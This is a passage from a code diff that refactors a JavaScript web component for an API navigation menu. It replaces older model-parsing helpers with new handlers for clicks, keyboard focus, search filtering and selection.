-    const compareId = item['@id'];
-    const refNode = this._ensureArray(item[rfIdKey]);
-    const refId = refNode ? refNode[0]['@id'] : undefined;
-    const idIndex = target._typeIds.indexOf(compareId);
-    const refIndex = refId ? target._typeIds.indexOf(refId) : -1;
-    if (idIndex === -1 && refIndex === -1) {
-      target._typeIds[target._typeIds.length] = id;
-      if (refId) {
-        target._typeIds[target._typeIds.length] = refId;
-      }
-      target.types.push({
-        label: name,
-        id,
-      });
+    paddingLeftValue = paddingLeftValue.replace('px', '').trim();
+    const result = Number(paddingLeftValue);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
     }
+    return result;
   }
 
   /**
-   * Appends "security" item to the results.
+   * Computes `style` attribute value for an operation item.
+   * It sets padding-left property to indent operations relative to a resource.
    *
-   * @param {Object} item Type item declaration
-   * @param {TargetModel} target
-   */
-  [appendSecurityItem](item, target) {
-    const voc = this.ns.aml.vocabularies;
-    let name = this._getValue(item, voc.core.displayName);
-    const secType = /** @type string */ (this._getValue(item, voc.security.type));
-    if (!secType) {
-      // this is a case when the security scheme is referenced from a library.
-      // This creates an entry in the graph model but there is no actual definition of the 
-      // security.
-      // The definition will be discovered when scanning references.
-      return;
+   * @param {number} indent The computed indentation of the parent resource.
+   * @return {string} The value for the left padding of the endpoint menu item.
+   */
+  [computeOperationPaddingValue](indent=0) {
+    const endpointAdjustment = 32;
+    const padding = this[computeOperationPaddingLeft]() + endpointAdjustment;
+    const { indentSize } = this;
+    if (indentSize < 1) {
+      return `${padding}px`;
     }
-    if (!name) {
-      name = this._getValue(item, voc.security.name);
+    const result = indent * indentSize + padding;
+    return `${result}px`;
+  }
+
+  /**
+   * Computes operation list item left padding from CSS variables.
+   * @return {number}
+   */
+  [computeOperationPaddingLeft]() {
+    const prop = '--api-navigation-operation-item-padding-left';
+    let paddingLeft = getComputedStyle(this).getPropertyValue(prop);
+    const defaultPadding = 24;
+    if (!paddingLeft) {
+      return defaultPadding;
     }
-    if (!name) {
-      name = this._getValue(item, voc.core.name);
+    paddingLeft = paddingLeft.replace('px', '').trim();
+    const result = Number(paddingLeft);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
     }
-    name = `${name || ''} - ${mapAuthName(secType)}`
-    const id = item['@id'];
-    target.securitySchemes.push({
-      label: String(name),
-      id,
-    });
+    return result;
   }
 
   /**
-   * @param {string} url 
-   * @returns {string}
+   * A handler for the click event on a menu list item.
+   * Makes a selection from the target.
+   * @param {MouseEvent} e
    */
-  [validUrl](url) {
-    return url.startsWith('http://') || url.startsWith('https://')
-      ? url
-      : 'about:blank';
+  [itemClickHandler](e) {
+    const node = /** @type HTMLElement */ (e.currentTarget);
+    const { graphId, graphShape } = node.dataset;
+    if (graphId && graphShape) {
+      this[makeSelection](graphId, /** @type SelectionType */ (graphShape));
+    }
   }
 
   /**
-   * Appends "documentation" item to the results.
-   *
-   * @param {Object} item Type item declaration
-   * @param {TargetModel} target
-   */
-  [appendDocumentationItem](item, target) {
-    const { core } = this.ns.aml.vocabularies;
-    const id = item['@id'];
-    const urlNode = item[this._getAmfKey(core.url)];
-    const title = this._getValue(item, core.title);
-    const description = this._getValue(item, core.description);
-    const label = title ? String(title) : String(description);
-    let isExternal = false;
-    let url = urlNode ? (urlNode[0] || urlNode)['@id'] : undefined;
-    if (url) {
-      url = this[validUrl](url);
-      isExternal = true;
-    }
-    const result = {
-      id,
-      label,
-      isExternal,
-      url,
-    };
-    target.documentation.push(result);
+   * A handler for the click event on endpoints toggle button.
+   * @param {MouseEvent} e
+   */
+  [endpointToggleClickHandler](e) {
+    const node = /** @type HTMLElement */ (e.currentTarget);
+    const { graphId } = node.dataset;
+    if (graphId) {
+      this.toggleEndpoint(graphId);
+      e.stopPropagation();
+      e.preventDefault();
+      Events.Telemetry.event(this, {
+        category: 'API navigation',
+        action: 'Toggle endpoint',
+      });
+    }
   }
 
   /**
-   * Appends "endpoint" item to the results.
-   * This also iterates over methods to extract method data.
-   *
-   * @param {any} item Endpoint item declaration
-   * @param {TargetModel} target
-   */
-  [appendEndpointItem](item, target) {
-    const result = {};
-    const { vocabularies } = this.ns.aml;
-    let name = this._getValue(item, vocabularies.core.name);
-    const path = /** @type string */ (this._getValue(item, vocabularies.apiContract.path));
-    result.path = path;
-
-    let tmpPath = path;
-    if (tmpPath[0] === '/') {
-      tmpPath = tmpPath.substr(1);
-    }
-    const parts = tmpPath.split('/');
-    let indent = 0;
-    target._basePaths[target._basePaths.length] = path;
-    if (parts.length > 1 && !this.renderFullPaths) {
-      const lowerParts = parts.slice(0, parts.length - 1);
-      if (lowerParts.length) {
-        for (let i = lowerParts.length - 1; i >= 0; i--) {
-          const currentPath = `/${lowerParts.slice(0, i + 1).join('/')}`;
-          const previousBasePathItem =
-            target._basePaths[target._basePaths.length - 2];
-          if (
-            previousBasePathItem &&
-            (previousBasePathItem === currentPath ||
-              previousBasePathItem.startsWith(`${currentPath}/`))
-          ) {
-            indent++;
-          }
-        }
-      }
-    }
-    if (!name) {
-      result.renderPath = false;
-      if (indent > 0) {
-        try {
-          name = computePathName(path, parts, indent, target._basePaths);
-        } catch (_) {
-          name = path;
-        }
-      } else {
-        name = path;
-      }
+   * Toggles operations visibility for an endpoint.
+   * @param {string} graphId The Endpoint graph id.
+   */
+  toggleEndpoint(graphId) {
+    const index = this[openedEndpointsValue].indexOf(graphId);
+    if (index === -1) {
+      this[openedEndpointsValue].push(graphId);
     } else {
-      result.renderPath = true;
+      this[openedEndpointsValue].splice(index, 1);
     }
-    const id = item['@id'];
-    const key = this._getAmfKey(vocabularies.apiContract.supportedOperation);
-    const operations = this._ensureArray(item[key]) || [];
-    const methods = operations.map(op => this[createOperationModel](op));
-    result.label = String(name);
-    result.id = id;
-    result.indent = indent;
-    result.methods = methods;
-    target.endpoints.push(result);
+    this.requestUpdate();
   }
 
   /**
-   * Creates the view model for an optation.
-   *
-   * @param {any} item Operation AMF model
-   * @return {MethodItem} Method view model
-   */
-  [createOperationModel](item) {
-    const label = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
-    const methodKey = this.ns.aml.vocabularies.apiContract.method;
-    const id = item['@id'];
-    const method = /** @type string */ (this._getValue(item, methodKey));
-    return {
-      label,
-      id,
-      method,
-    };
+   * A handler for the click event on a section item. Toggles the clicked section.
+   * @param {MouseEvent} e
+   */
+  [toggleSectionClickHandler](e) {
+    const node = /** @type HTMLElement */ (e.currentTarget);
+    this[toggleSectionElement](node);
+    Events.Telemetry.event(this, {
+      category: 'API navigation',
+      action: 'Toggle section',
+      label: node.dataset.section,
+    });
   }
 
   /**
-   * Click handler for section name item.
-   * Toggles the view.
-   *
-   * @param {MouseEvent} e
+   * Toggles a section of the menu represented by the element (section list item).
+   * @param {HTMLElement} element
    */
-  [toggleSectionHandler](e) {
-    // @ts-ignore: this is for polyfills
-    const path = e.composedPath();
-    /** @type HTMLElement */
-    let node;
-    const test = true;
-    while (test) {
-      node = /** @type HTMLElement */ (path.shift());
-      if (!node) {
-        return;
-      }
-      if (node.dataset && node.dataset.section) {
-        break;
-      }
+  [toggleSectionElement](element) {
+    const { property } = element.dataset;
+    if (!property) {
+      return;
     }
-    this[toggleSection](node);
+    this[property] = !this[property];
   }
 
   /**
-   * @param {HTMLElement} node 
+   * @returns {DocumentationItem[]} List of documentation items filtered by the current query.
    */
-  [toggleSection](node) {
-    const { section } = node.dataset;
-    const openedKey = `${section}Opened`;
-    this[openedKey] = !this[openedKey];
+  [getFilteredDocumentations]() {
+    const items = this[documentationsValue];
+    if (!Array.isArray(items) || !items.length) {
+      return [];
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return items;
+    }
+    return items.filter((doc) => 
+      (doc.title || '').toLocaleLowerCase().includes(q));
   }
 
   /**
-   * Selects new item in the menu.
-   *
-   * @param {HTMLElement} node
+   * @return {NodeShapeItem[]} List of schemas items filtered by the current query.
    */
-  [selectItem](node) {
-    const id = node.dataset.apiId;
-    const { shape } = node.dataset;
-    this.domainType = undefined; // cancels event firing
-    this.domainId = id;
-    this.domainType = /** @type SelectionType */ (shape); // now fire event
-    this[selectedItemValue] = node;
-    this[focusedItemPrivate] = node;
+  [getFilteredSchemas]() {
+    const items = this[schemasValue];
+    if (!Array.isArray(items) || !items.length) {
+      return [];
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return items;
+    }
+    return items.filter((doc) => 
+      (doc.name || '').toLocaleLowerCase().includes(q) || 
+      (doc.displayName || '').toLocaleLowerCase().includes(q));
   }
 
   /**
-   * Toggles selection state of a node that has `data-api-id` set to
-   * `id`.
-   *
-   * @param {string} id Selected node id.
-   * @return {string|undefined} Type of selected node.
+   * @return {SecurityItem[]} List of security items filtered by the current query.
    */
-  [addSelection](id) {
-    if (!this.shadowRoot) {
-      return undefined;
+  [getFilteredSecurity]() {
+    const items = this[securityValue];
+    if (!Array.isArray(items) || !items.length) {
+      return [];
     }
-    let node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`[data-api-id="${id}"]`));
-    if (!node) {
-      return undefined;
+    const q = this[queryValue];
+    if (!q) {
+      return items;
     }
-    if (node.localName === 'anypoint-collapse') {
-      node = this.shadowRoot.querySelector(`.operation[data-api-id="${id}"]`);
-    } else if (node.className === 'endpoint-name-overview' && this.noOverview) {
-      node = this.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${id}"]`);
+    return items.filter((doc) => 
+      (doc.name || '').toLocaleLowerCase().includes(q) || 
+      (doc.displayName || '').toLocaleLowerCase().includes(q) || 
+      (doc.type || '').toLocaleLowerCase().includes(q));
+  }
+
+  /**
+   * A handler for the focus event on this element.
+   * @param {FocusEvent} e
+   */
+  [focusHandler](e) {
+    if (this[shiftTabPressedValue]) {
+      // do not focus the menu itself
+      return;
     }
-    if (!node) {
-      return undefined;
+    const path = e.composedPath();
+    const rootTarget = /** @type HTMLElement */ (path[0]);
+    if (rootTarget !== this && typeof rootTarget.tabIndex !== 'undefined' && !this.contains(rootTarget)) {
+      return;
     }
-    node.classList.add('selected');
-    if (node.part && node.part.add) {
-      node.part.add('api-navigation-list-item-selected');
+    this[focusedItemValue] = null;
+    const { selectedItem } = this;
+    if (selectedItem) {
+      this[focusItem](selectedItem);
+    } else {
+      this.focusNext();
     }
-    let collapse;
-    switch (node.dataset.shape) {
-      case 'operation':
-        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
-        this.endpointsOpened = true;
-        break;
-      case 'endpoint':
-        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
-        break;
-      case 'type':
-      case 'documentation':
-      case 'security':
-        collapse = /** @type AnypointCollapseElement */ (node.parentElement
-          .parentElement);
-        break;
-      default:
-        collapse = undefined;
+  }
+
+  /**
+   * Sets a list item focused
+   * @param {HTMLElement} item
+   */
+  [focusItem](item) {
+    const old = this[focusedItemValue];
+    this[focusedItemValue] = item;
+    if (old) {
+      old.setAttribute('tabindex', '-1');
     }
-    if (node.dataset.shape === 'operation' || node.dataset.shape === 'endpoint') {
-      if (!this[openedOperationsValue].includes(id)) {
-        this.toggleOperations(id)
-      }
-      if (collapse && !this[openedOperationsValue].includes(collapse.dataset.apiId)) {
-        this.toggleOperations(collapse.dataset.apiId);
-      }
-    } else if (collapse && !collapse.opened) {
-      collapse.opened = true;
+    if (item && !item.hasAttribute('disabled')) {
+      item.setAttribute('tabindex', '0');
+      item.focus();
     }
-    return node.dataset.shape;
   }
 
   /**
-   * Removes any current selection that may exist.
+   * Handler for the keydown event.
+   * @param {KeyboardEvent} e
    */
-  [clearSelection]() {
-    if (!this.shadowRoot) {
+  [keydownHandler](e) {
+    const path = e.composedPath();
+    const target = /** @type HTMLElement */ (path[0]);
+    if (target.localName === 'input') {
       return;
     }
-    const nodes = this.shadowRoot.querySelectorAll('.selected');
-    for (let i = 0, len = nodes.length; i < len; i++) {
-      const node = nodes[i];
-      node.classList.remove('selected');
-      // @ts-ignore
-      if (node.part && node.part.remove) {
-        // @ts-ignore
-        node.part.remove('api-navigation-list-item-selected');
-      }
+    if (e.key === 'ArrowDown') {
+      this[keyDownAction](e);
+    } else if (e.key === 'ArrowUp') {
+      this[keyUpAction](e);
+    } else if (e.key === 'Tab' && e.shiftKey) {
+      this[keyShiftTabAction]();
+    } else if (e.key === 'Escape') {
+      this[keyEscAction]();
+    } else if (e.key === ' ' || e.code === 'Space') {
+      this[keySpaceAction](e);
+    } else if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      this[keySpaceAction](e);
+    } else if (e.key === 'ArrowRight') {
+      this[keyArrowRightAction](e);
+    } else if (e.key === 'ArrowLeft') {
+      this[keyArrowLeftAction](e);
     }
+    e.stopPropagation();
   }
 
   /**
-   * Toggles endpoint operations list.
+   * Handler that is called when the down key is pressed.
    *
-   * @param {string} id ID of the endpoint.
+   * @param {KeyboardEvent} e A key combination event.
    */
-  toggleOperations(id) {
-    const operationIndex = this[openedOperationsValue].indexOf(id);
-    if (operationIndex !== -1) {
-      this[openedOperationsValue].splice(operationIndex, 1)
-    } else {
-      this[openedOperationsValue].push(id)
-    }
-    this.requestUpdate();
+  [keyDownAction](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    this.focusNext();
   }
 
   /**
-   * Updates the state of selected element when `selected` changes.
+   * Handler that is called when the up key is pressed.
    *
-   * @param {string} current New selection
+   * @param {KeyboardEvent} e A key combination event.
    */
-  [selectedChanged](current) {
-    this[clearSelection]();
-    this[cleanPassiveSelection]();
-    if (current) {
-      this[addSelection](current);
-    }
+  [keyUpAction](e) {
+    e.preventDefault();
+    this.focusPrevious();
   }
 
   /**
-   * When `query` property change it runs the filter function
-   * in a debouncer set for ~50 ms.
+   * Handles shift+tab keypress on the menu.
    */
-  [queryChanged]() {
-    if (this[queryDebouncer]) {
-      return;
-    }
-    this[queryDebouncer] = true;
+  [keyShiftTabAction]() {
+    const oldTabIndex = this.getAttribute('tabindex');
+    this[shiftTabPressedValue] = true;
+    this[focusedItemValue] = null;
+    this.setAttribute('tabindex', '-1');
     setTimeout(() => {
-      this[flushQuery]();
-      this[queryDebouncer] = false;
-    });
+      this.setAttribute('tabindex', oldTabIndex);
+      this[shiftTabPressedValue] = false;
+    }, 1);
   }
 
   /**
-   * Calls `render()` function on each data repeater that have filterable
-   * items.
-   * It set's `[queryValue]` property on the element that is beyond
-   * Polymer's data binding system so it skips 2 function calls each time
-   * it is read. In a repeater filter function that can be a lot.
-   *
-   * Also the `[queryValue]` is transformed to perform text search.
+   * Handler that is called when the esc key is pressed.
    */
-  [flushQuery]() {
-    let q = this.query;
-    if (q) {
-      q = q.toLowerCase();
+  [keyEscAction]() {
+    const { focusedItem } = this;
+    if (focusedItem) {
+      focusedItem.blur();
     }
-    this[queryValue] = q;
-    this.requestUpdate();
   }
 
   /**
-   * Dispatches the navigation event when selection change.
-   *
-   * @param {string} domainId Selected id
-   * @param {SelectionType} domainType Type of AMF shape
+   * A handler for the space bar key down.
+   * @param {KeyboardEvent} e
    */
-  [selectionChanged](domainId, domainType) {
-    if (!domainType || this.__cancelNavigationEvent) {
+  [keySpaceAction](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    const path = e.composedPath();
+    const target = /** @type HTMLElement */ (path && path[0]);
+    if (!target) {
       return;
     }
-    let endpointId;
-    if (domainType === 'operation' && domainId) {
-      const node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`.operation[data-api-id="${domainId}"]`));
-      if (node) {
-        endpointId = node.dataset.parentId;
+    const { classList, dataset } = target;
+    if (classList.contains('section-title')) {
+      this[toggleSectionElement](target);
+    } else if (classList.contains('list-item')) {
+      const { graphId, graphShape } = dataset;
+      if (graphId && graphShape) {
+        this[makeSelection](graphId, /** @type SelectionType */ (graphShape));
       }
     }
-    NavigationEvents.apiNavigate(this, domainId, domainType, endpointId);
   }
 
   /**
-   * Navigation item click handler.
-   * It used to be common function for all clicks inside the element
-   * but in tests not all events were handled.
-   *
-   * @param {MouseEvent} e
+   * A handler for the key right down. Opens operations when needed.
+   * @param {KeyboardEvent} e
    */
-  [itemClickHandler](e) {
-    const eTarget = /** @type HTMLElement */ (e.target);
-    let target;
-    if (e.currentTarget) {
-      target = /** @type HTMLElement */ (e.currentTarget);
-    } else if (eTarget.classList.contains('method-label')) {
-      target = /** @type HTMLElement */ (eTarget.parentNode);
-    } else {
-      target = eTarget;
+  [keyArrowRightAction](e) {
+    const path = e.composedPath();
+    const target = /** @type HTMLElement */ (path && path[0]);
+    if (!target) {
+      return;
+    }
+    const { classList, dataset } = target;
+    if (dataset.graphId && classList.contains('endpoint') && classList.contains('list-item')) {
+      if (!this[openedEndpointsValue].includes(dataset.graphId)) {
+        this[openedEndpointsValue].push(dataset.graphId);
+        this.requestUpdate();
+      }
     }
-    this[selectItem](target);
   }
 
   /**
-   * Handler for the navigation event. Updates the selection if dispatched from other element.
-   * @param {ApiNavigationEvent} e
+   * A handler for the key left down. Closes operations when needed.
+   * @param {KeyboardEvent} e
    */
-  [navigationHandler](e) {
+  [keyArrowLeftAction](e) {
     const path = e.composedPath();
-    if (path[0] === this) {
-      return;
-    }
-    this[cleanPassiveSelection]();
-    if (e.detail.passive === true) {
-      this[handlePassiveNavigation](e.detail);
+    const target = /** @type HTMLElement */ (path && path[0]);
+    if (!target) {
       return;
     }
-    if (this.domainId !== e.detail.domainId) {
-      this.__cancelNavigationEvent = true;
-      this.domainId = e.detail.domainId;
-      this.domainType = e.detail.domainType;
-      this.__cancelNavigationEvent = false;
-      this.requestUpdate();
+    const { classList, dataset } = target;
+    if (dataset.graphId && classList.contains('endpoint') && classList.contains('list-item')) {
+      const index = this[openedEndpointsValue].indexOf(dataset.graphId);
+      if (index !== -1) {
+        this[openedEndpointsValue].splice(index, 1);
+        this.requestUpdate();
+      }
     }
   }
 
   /**
-   * @param {ApiNavigationEventDetail} detail 
+   * Focuses on the previous item in the navigation.
    */
-  [handlePassiveNavigation](detail) {
-    if (detail.domainType === 'operation') {
-      this[selectMethodPassive](detail.domainId);
+  focusPrevious() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemValue]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex - i + length) % length];
+      if (item && !item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusItem](item);
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
     }
   }
 
-  [cleanPassiveSelection]() {
-    // Very simple optimization to not query local DOM if we are sure
-    // that there's no selection.
-    if (!this[hasPassiveSelection]) {
-      return;
-    }
-    const nodes = this.shadowRoot.querySelectorAll('.passive-selected');
-    for (let i = 0, len = nodes.length; i < len; i++) {
-      nodes[i].classList.remove('passive-selected');
+  /**
+   * Focuses on the next item in the navigation.
+   */
+  focusNext() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemValue]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex + i) % length];
+      if (!item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusItem](item);
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
     }
-    this[hasPassiveSelection] = false;
   }
 
   /**
-   * @param {string} id 
+   * Selects an item in the navigation.
+   * Note, this dispatches the navigation action event.
+   * @param {string} id
    */
-  [selectMethodPassive](id) {
-    const selector = `[data-api-id="${id}"]`;
-    const node = this.shadowRoot.querySelector(selector);
-    if (!node) {
+  select(id) {
+    if (!id) {
       return;
     }
-    node.classList.add('passive-selected');
-    this[hasPassiveSelection] = true;
-    const collapse = /** @type AnypointCollapseElement */ (node.parentElement);
-    if (!collapse.opened) {
-      collapse.opened = true;
+    const element = /** @type HTMLElement */ (this.shadowRoot.querySelector(`[data-graph-id="${id}"]`));
+    if (!element) {
+      return;
     }
+    const { graphShape } = element.dataset;
+    this[makeSelection](id, /** @type SelectionType */ (graphShape));
   }
 
   /**
-   * Endpoint label click handler.
-   * Toggles endpoint's methods list.
-   *
-   * @param {MouseEvent} e
+   * Lists all HTML elements that are currently rendered in the view.
+   * @return {HTMLElement[]} Currently rendered items.
    */
-  [toggleEndpoint](e) {
-    // @ts-ignore
-    const path = (e.composedPath && e.composedPath()) || e.path;
-    const test = true;
-    while (test) {
-      const node = path.shift();
-      if (!node) {
-        return;
-      }
-      if (node.nodeType !== 1) {
-        continue;
+  [listActiveItems]() {
+    if (this[itemsValue]) {
+      return this[itemsValue];
+    }
+    const { shadowRoot } = this;
+    let result = /** @type HTMLElement[] */ ([]);
+    if (this.summary) {
+      const node = shadowRoot.querySelector('.list-item.summary');
+      if (node) {
+        result[result.length] = /** @type HTMLElement */ (node);
       }
-      if (!node.dataset.endpointId) {
-        continue;
+    }
+    if (this.hasEndpoints) {
+      const node = shadowRoot.querySelector('.endpoints .section-title');
+      if (node) {
+        result[result.length] = /** @type HTMLElement */ (node);
       }
-      this.toggleOperations(node.dataset.endpointId);
-      break;
+      const nodes = Array.from(shadowRoot.querySelectorAll('.endpoints .list-item.endpoint'));
+      nodes.forEach((item) => {
+        result[result.length] = /** @type HTMLElement */ (item);
+        const collapse = item.nextElementSibling;
+        if (!collapse || collapse.localName !== 'anypoint-collapse') {
+          return;
+        }
+        const children = /** @type HTMLElement[] */ (Array.from(collapse.querySelectorAll('.list-item.operation')));
+        if (children.length) {
+          result = result.concat(children);
+        }
+      });
+    }
+    if (this.hasDocs) {
+      const children = this[listSectionActiveNodes]('.documentation');
+      result = result.concat(children);
+    }
+    if (this.hasSchemas) {
+      const children = this[listSectionActiveNodes]('.schemas');
+      result = result.concat(children);
     }
+    if (this.hasSecurity) {
+      const children = this[listSectionActiveNodes]('.security');
+      result = result.concat(children);
+    }
+    this[itemsValue] = result.length ? result : undefined;
+    return result;
   }
 
   /**
-   * @param {MouseEvent} e 
+   * @param {string} selector The prefix for the query selector
+   * @return {HTMLElement[]} Nodes returned from query function.
    */
-  [toggleEndpointDocumentation](e) {
-    if (!this.noOverview) {
-      return this[toggleEndpoint](e)
+  [listSectionActiveNodes](selector) {
+    let result = /** @type HTMLElement[] */ ([]);
+    const node = this.shadowRoot.querySelector(`${selector} .section-title`);
+    if (node) {
+      result[result.length] = /** @type HTMLElement */ (node);
+      const collapse = node.nextElementSibling;
+      if (collapse) {
+        const children = /** @type HTMLElement[] */ (Array.from(collapse.querySelectorAll('.list-item')));
+        if (children.length) {
+          result = result.concat(children);
+        }
+      }
     }
+    return result;
   }
 
   /**
-   * @param {MouseEvent} e 
+   * Selects an item in the menu.
+   *
+   * @param {string} id The domain id of the node to be selected
+   * @param {SelectionType} type The selected type of the item.
    */
-  [toggleEndpointButton](e) {
-    if (this.noOverview) {
-      return this[toggleEndpoint](e)
+  [makeSelection](id, type) {
+    const element = /** @type HTMLElement */ (this.shadowRoot.querySelector(`[data-graph-id="${id}"]`));
+    if (!element) {
+      return;
+    }
+    this[selectedItemValue] = element;
+    this[deselectItem](this.selected, this.selectedType);
+    this.selected = id;
+    this.selectedType = type;
+    if (id === 'summary') {
+      this[summarySelected] = true;
+    } else {
+      this[selectItem](id, type);
+    }
+    this[focusItem](this[selectedItemValue]);
+    this.requestUpdate();
+    this[notifyNavigation](id, type);
+    let parent = element.parentElement;
+    while (parent) {
+      if (parent === this) {
+        return;
+      }
+      if (parent.localName === 'anypoint-collapse') {
+        /** @type AnypointCollapseElement */ (parent).opened = true;
+      }
+      parent = parent.parentElement;
     }
   }
 
   /**
-   * Computes `style` attribute value for endpoint item.
-   * It sets padding-left property to indent resources.
-   * See https://github.com/mulesoft/api-console/issues/571.
-   *
-   * @param {number} factor Computed indent factor for the resource
-   * @param {number} size The size of indentation in pixels.
-   * @returns {string} Style attribute value for the item.
+   * Selects an item.
+   * @param {string} id The domain id of the menu item.
+   * @param {SelectionType} type The type of the data.
    */
-  [computeEndpointPadding](factor, size) {
-    const padding = this[computeEndpointPaddingLeft]();
-    if (factor < 1) {
-      return `padding-left: ${padding}px`;
+  [selectItem](id, type) {
+    const selectable = this[findSelectable](id, type);
+    if (selectable) {
+      selectable.selected = true;
+      this.requestUpdate();
     }
-    const result = factor * size + padding;
-    return `padding-left: ${result}px`;
   }
 
   /**
-   * @param {number} factor 
-   * @param {number} size 
-   * @returns {string}
+   * Removes all selections from an item.
+   * @param {string} id The domain id of the menu item.
+   * @param {SelectionType} type The type of the data.
    */
-  [computeMethodPadding](factor, size) {
-    const padding = this[computeOperationPaddingLeft]();
-    if (factor < 1) {
-      return `padding-left: ${padding}px`;
+  [deselectItem](id, type) {
+    this[summarySelected] = false;
+    const selectable = this[findSelectable](id, type);
+    if (selectable) {
+      selectable.selected = false;
+      selectable.secondarySelected = false;
+      this.requestUpdate();
     }
-    const result = factor * size + padding;
-    return `padding-left: ${result}px`;
   }
 
   /**
-   * Computes operation list item left padding from CSS variables.
-   * @return {number}
+   * Finds a selectable item by its id and type.
+   * @param {string} id The domain id of the menu item.
+   * @param {SelectionType} type The type of the data.
+   * @returns {SelectableMenuItem|null}
    */
-  [computeOperationPaddingLeft]() {
-    let paddingLeft;
-    const prop = '--api-navigation-operation-item-padding-left';
-    const defaultPadding = 24;
-    // @ts-ignore
-    if (window.ShadyCSS) {
-      // @ts-ignore
-      paddingLeft = window.ShadyCSS.getComputedStyleValue(this, prop);
-    } else {
-      paddingLeft = getComputedStyle(this).getPropertyValue(prop);
-    }
-    if (!paddingLeft) {
-      return defaultPadding;
+  [findSelectable](id, type) {
+    if (!id || !type) {
+      return null;
     }
-    paddingLeft = paddingLeft.replace('px', '').trim();
-    const result = Number(paddingLeft);
-    if (Number.isNaN(result)) {
-      return defaultPadding;
+    let selectable = /** @type SelectableMenuItem */ (null);
+    if (type === 'resource') {
+      selectable = /** @type EndpointItem[] */ (this[endpointsValue] || []).find((item) => item.id === id);
+    } else if (type === 'operation') {
+      const endpoint = /** @type EndpointItem[] */ (this[endpointsValue] || []).find((item) => {
+        if (!Array.isArray(item.operations) || !item.operations.length) {
+          return false;
+        }
+        const op =  item.operations.find((opItem) => opItem.id === id);
+        return !!op;
+      });
+      if (endpoint) {
+        selectable = /** @type OperationItem[] */ (endpoint.operations).find((item) => item.id === id);
+      }
+    } else if (type === 'documentation') {
+      selectable = (this[documentationsValue] || []).find((item) => item.id === id);
+    } else if (type === 'schema') {
+      selectable = (this[schemasValue] || []).find((item) => item.id === id);
+    } else if (type === 'security') {
+      selectable = (this[securityValue] || []).find((item) => item.id === id);
     }
-    return result;
+    return selectable;
   }
 
   /**
-   * Computes endpoint list item left padding from CSS variables.
-   * @return {Number}
+   * @param {string} value The new query. Empty or null to clear the query
    */
-  [computeEndpointPaddingLeft]() {
-    let padding;
-    const prop = '--api-navigation-list-item-padding';
-    const defaultPadding = 16;
-    // @ts-ignore
-    if (window.ShadyCSS) {
-      // @ts-ignore
-      padding = window.ShadyCSS.getComputedStyleValue(this, prop);
+  [processQuery](value) {
+    if (typeof value !== 'string' || value.trim() === '') {
+      this[queryValue] = undefined;
     } else {
-      padding = getComputedStyle(this).getPropertyValue(prop);
-    }
-    if (!padding) {
-      return defaultPadding;
-    }
-    const parts = padding.split(' ');
-    let paddingLeftValue;
-    switch (parts.length) {
-      case 1:
-        paddingLeftValue = parts[0];
-        break;
-      case 2:
-        paddingLeftValue = parts[1];
-        break;
-      case 3:
-        paddingLeftValue = parts[1];
-        break;
-      case 4:
-        paddingLeftValue = parts[3];
-        break;
-      default:
-        return defaultPadding;
-    }
-    if (!paddingLeftValue) {
-      return defaultPadding;
+      this[queryValue] = value.toLowerCase();
     }
-    paddingLeftValue = paddingLeftValue.replace('px', '').trim();
-    const result = Number(paddingLeftValue);
-    if (Number.isNaN(result)) {
-      return defaultPadding;
-    }
-    return result;
+    this.requestUpdate();
   }
 
   /**
-   * Returns filtered list of items to render in the menu list.
-   * When `query` is set it tests `label` property of each item if it contains
-   * the query. Otherwise it returns all items.
-   * @param {NavigationItem[]} items Name of the source property keeping array values to render.
-   * @returns {Array<TypeItem|DocumentationItem|SecurityItem|EndpointItem>|undefined}
+   * A handler for the search event from the filter input.
+   * @param {Event} e
    */
-  [getFilteredType](items) {
-    if (!Array.isArray(items) || !items.length) {
-      return undefined;
-    }
-    const q = this[queryValue];
-    if (!q) {
-      return items;
-    }
-    return items.filter(item => {
-      if (typeof item.label !== 'string') {
-        return false;
-      }
-      return item.label.toLowerCase().indexOf(q) !== -1;
+  [searchHandler](e) {
+    const input = /** @type HTMLInputElement */ (e.target);
+    this.query = input.value;
+    Events.Telemetry.event(this, {
+      category: 'API navigation',
+      action: 'Filter',
+      label: input.value ? 'Query' : 'Clear',
     });
   }
 
   /**
-   * Returns a list of endpoints to render.
-   * When `query` is set it returns filtered list of endpoints for given query.
-   * Otherwise it returns all endpoints.
-   * @returns {EndpointItem[]|undefined} Filtered list of endpoints
+   * Opens all sections of the menu and all endpoints.
    */
-  [getFilteredEndpoints]() {
-    const value = this[endpointsValue];
-    if (!value || !value.length) {
-      return undefined;
-    }
-    const q = this[queryValue];
-    if (!q) {
-      return value;
-    }
+  expandAll() {
+    this.endpointsOpened = true;
+    this.schemasOpened = true;
+    this.securityOpened = true;
+    this.documentationsOpened = true;
+    this.expandAllEndpoints();
+  }
 
-    const result = [];
-    for (let i = 0, len = value.length; i < len; i++) {
-      const endpoint = value[i];
-      // If the endpoint's path or label matches the query include whole item
-      if (
-        (endpoint.path || '').toLowerCase().indexOf(q) !== -1 ||
-        (endpoint.label || '').toLowerCase().indexOf(q) !== -1
-      ) {
-        result[result.length] = endpoint;
-        continue;
-      }
